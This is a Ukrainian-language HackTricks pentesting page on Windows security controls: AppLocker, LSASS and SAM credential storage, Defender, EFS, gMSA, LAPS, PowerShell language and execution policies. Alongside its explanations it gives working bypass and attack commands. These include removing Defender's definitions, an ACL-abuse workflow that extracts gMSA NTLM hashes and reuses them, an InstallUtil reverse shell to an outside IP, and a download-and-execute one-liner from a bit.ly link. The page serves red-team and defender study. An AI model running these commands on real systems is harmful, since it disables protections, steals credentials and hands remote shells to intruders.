Контролі безпеки Windows
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Політика AppLocker
Білий список додатків — це перелік затверджених програм або виконуваних файлів, яким дозволено бути присутніми та запускатися в системі. Метою є захист середовища від шкідливого malware та незатвердженого програмного забезпечення, яке не відповідає конкретним бізнес-потребам організації.
AppLocker є рішенням Microsoft для реалізації білого списку додатків і дає системним адміністраторам контроль над тим, які додатки та файли можуть запускати користувачі. Воно забезпечує детальний контроль над виконуваними файлами, скриптами, файлами інсталятора Windows, DLL, упакованими додатками та інсталяторами упакованих додатків.
Зазвичай організації блокують cmd.exe та PowerShell.exe і доступ на запис до певних директорій, але все це можна обійти.
Check
Перевірте, які файли/розширення заблоковані або дозволені:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, і дозволяє переглянути поточний набір правил, що діють у системі:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Bypass
- Корисні Writable folders для bypass AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині
C:\Windows\System32
абоC:\Windows
, існують writable folders, які ви можете використати, щоб bypass this.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Зазвичай trusted "LOLBAS's" бінарні файли також можуть бути корисні для обходу AppLocker.
- Неправильно написані правила також можуть бути обійдені
- Наприклад,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, ви можете створити папку з назвоюallowed
будь-де і вона буде дозволена. - Організації часто зосереджуються на блокуванні виконуваного файлу
%System32%\WindowsPowerShell\v1.0\powershell.exe
, але забувають про інші PowerShell executable locations такі як%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
абоPowerShell_ISE.exe
. - DLL enforcement very rarely enabled через додаткове навантаження на систему та обсяг тестувань, необхідних щоб упевнитися, що нічого не зламається. Тому використання DLLs як backdoors допоможе обійти AppLocker.
- Ви можете використати ReflectivePick або SharpPick щоб execute Powershell код в будь-якому процесі і обійти AppLocker. Для детальнішої інформації див.: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
Credentials Storage
Security Accounts Manager (SAM)
Локальні облікові дані присутні в цьому файлі, паролі збережені у хешованому вигляді.
Local Security Authority (LSA) - LSASS
The credentials (hashed) are saved in the memory of this subsystem for Single Sign-On reasons.
LSA адмініструє локальну політику безпеки (password policy, users permissions...), authentication, access tokens...
LSA буде тим, хто перевірятиме надані облікові дані всередині файлу SAM (для локального входу) та спілкуватиметься з domain controller для аутентифікації доменного користувача.
The credentials are saved inside the process LSASS: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
LSA secrets
LSA може зберігати на диску деякі облікові дані:
- Пароль облікового запису комп'ютера Active Directory (коли контролер домену недоступний).
- Паролі облікових записів служб Windows
- Паролі для запланованих завдань
- Інше (пароль додатків IIS...)
NTDS.dit
Це база даних Active Directory. Вона присутня лише на Domain Controllers.
Defender
Microsoft Defender — антивірус, який доступний у Windows 10 та Windows 11, а також у версіях Windows Server. Він блокує поширені pentesting інструменти, такі як WinPEAS
. Однак існують способи обійти ці захисти.
Check
Щоб перевірити стан Defender, ви можете виконати PS cmdlet Get-MpComputerStatus
(перевірте значення RealTimeProtectionEnabled
, щоб дізнатися, чи активовано):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Для його перерахування також можна виконати:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Encrypted File System (EFS)
EFS захищає файли за допомогою шифрування, використовуючи симетричний ключ, відомий як File Encryption Key (FEK). Цей ключ зашифровано відкритим ключем користувача і зберігається в альтернативному потоці даних $EFS зашифрованого файлу. Коли потрібне розшифрування, відповідний приватний ключ цифрового сертифіката користувача використовується для розшифрування FEK з потоку $EFS. Детальніше можна прочитати тут.
Сценарії розшифрування без ініціації користувача включають:
- Коли файли або папки переміщуються на файлову систему, яка не підтримує EFS, наприклад FAT32, вони автоматично розшифровуються.
- Зашифровані файли, відправлені мережею через протокол SMB/CIFS, розшифровуються перед передачею.
Цей метод шифрування дозволяє власнику мати прозорий доступ до зашифрованих файлів. Проте проста зміна пароля власника та вхід в обліковий запис не дозволять автоматично розшифрувати файли.
Ключові моменти:
- EFS використовує симетричний FEK, зашифрований відкритим ключем користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або під час мережевої передачі.
- Зашифровані файли доступні власнику без додаткових дій.
Check EFS info
Перевірте, чи користувач використовував цю службу, перевіривши наявність шляху:C:\users\<username>\appdata\roaming\Microsoft\Protect
Перевірте, хто має доступ до файлу, використавши cipher /c <file>
Ви також можете використовувати cipher /e
та cipher /d
всередині папки, щоб зашифрувати та розшифрувати всі файли
Decrypting EFS files
Отримання прав SYSTEM
Цей спосіб вимагає, щоб користувач-жертва виконував процес на хості. У цьому випадку, використовуючи meterpreter session, ви можете імітувати токен процесу користувача (impersonate_token з incognito). Або ви можете просто migrate до процесу користувача.
Knowing the users password
howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub
Group Managed Service Accounts (gMSA)
Microsoft розробила Group Managed Service Accounts (gMSA) для спрощення керування сервісними обліковими записами в IT-інфраструктурах. На відміну від традиційних сервісних облікових записів, у яких часто ввімкнено налаштування "Password never expire", gMSA пропонують більш безпечне та кероване рішення:
- Automatic Password Management: gMSA використовують складний 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється службою розповсюдження ключів (KDC) Microsoft, що усуває потребу у ручному оновленні паролів.
- Enhanced Security: ці облікові записи не піддаються блокуванням і не можуть використовуватися для інтерактивного входу, що підвищує їхню безпеку.
- Multiple Host Support: gMSA можна використовувати на кількох хостах одночасно, що робить їх ідеальними для сервісів, що працюють на кількох серверах.
- Scheduled Task Capability: на відміну від Managed Service Accounts, gMSA підтримують запуск запланованих завдань.
- Simplified SPN Management: система автоматично оновлює Service Principal Name (SPN) при змінах у sAMAccount даних комп’ютера або імені DNS, спрощуючи керування SPN.
Паролі для gMSA зберігаються у властивості LDAP msDS-ManagedPassword і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований бінарний обʼєкт відомий як MSDS-MANAGEDPASSWORD_BLOB, може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлено gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з’єднання, наприклад LDAPS, або з’єднання має бути аутентифіковане з параметрами 'Sealing & Secure'.
Ви можете прочитати цей пароль за допомогою GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Також перегляньте цю web page про те, як виконати NTLM relay attack щоб зчитати пароль gMSA.
Зловживання ланцюгом ACL для зчитування керованого пароля gMSA (GenericAll -> ReadGMSAPassword)
У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи некоректно налаштованими ACL об'єктів:
- A group you can control (e.g., via GenericAll/GenericWrite) is granted
ReadGMSAPassword
over a gMSA. - Додавши себе до цієї групи, ви успадковуєте право зчитувати
msDS-ManagedPassword
blob gMSA через LDAP і отримувати придатні NTLM облікові дані.
Типовий робочий процес:
- Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
- Add yourself to the intermediate group you control (example with bloodyAD):
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
- Прочитайте керований пароль gMSA через LDAP і отримайте NTLM-хеш. NetExec автоматизує витяг
msDS-ManagedPassword
та перетворення в NTLM:
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
Аутентифікуйтеся як gMSA, використовуючи NTLM hash (no plaintext needed). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо:
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
Примітки:
- Читання LDAP атрибуту
msDS-ManagedPassword
вимагає sealing (наприклад, LDAPS/sign+seal). Інструменти обробляють це автоматично. - gMSAs часто мають надані локальні права, такі як WinRM; перевірте членство в групах (наприклад, Remote Management Users), щоб планувати lateral movement.
- Якщо вам потрібен лише blob для обчислення NTLM самостійно, див. структуру MSDS-MANAGEDPASSWORD_BLOB.
LAPS
The Local Administrator Password Solution (LAPS), available for download from Microsoft, дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі — рандомізовані, унікальні й регулярно змінювані — зберігаються централізовано в Active Directory. Доступ до цих паролів обмежено через ACLs лише для авторизованих користувачів. При наданні достатніх прав можна читати локальні паролі адміністратора.
PS Constrained Language Mode
PowerShell Constrained Language Mode блокує багато можливостей, необхідних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише затверджених .NET types, XAML-based workflows, PowerShell classes та інше.
Перевірити
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Обхід
#Easy bypass
Powershell -version 2
У сучасних Windows цей Bypass не працює, але ви можете використати PSByPassCLM.
Щоб скомпілювати його, можливо, потрібно виконати Add a Reference -> Browse ->Browse -> додати C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
і змінити проект на .Net4.5.
Прямий bypass:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Reverse shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Ви можете використовувати ReflectivePick або SharpPick щоб execute Powershell code в будь-якому процесі та обійти constrained mode. Для детальнішої інформації перегляньте: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
Політика виконання PS
За замовчуванням вона встановлена як restricted. Основні способи обійти цю політику:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
More can be found here
Інтерфейс Security Support Provider (SSPI)
Є API, який може використовуватися для автентифікації користувачів.
SSPI відповідатиме за вибір відповідного протоколу для двох машин, що хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджуватиме, який протокол автентифікації буде використано; ці протоколи називаються Security Support Provider (SSP), розміщені в кожній Windows-машині у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу обмінюватися даними.
Основні SSP
- Kerberos: Переважний
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 and NTLMv2: З міркувань сумісності
- %windir%\Windows\System32\msv1_0.dll
- Digest: Веб‑сервери та LDAP, пароль у вигляді MD5-хеша
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL та TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Використовується для узгодження протоколу (Kerberos або NTLM, за замовчуванням — Kerberos)
- %windir%\Windows\System32\lsasrv.dll
Узгодження може запропонувати кілька методів або лише один.
UAC - User Account Control
User Account Control (UAC) — це функція, яка вмикає запит на дозвіл для підвищених дій.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.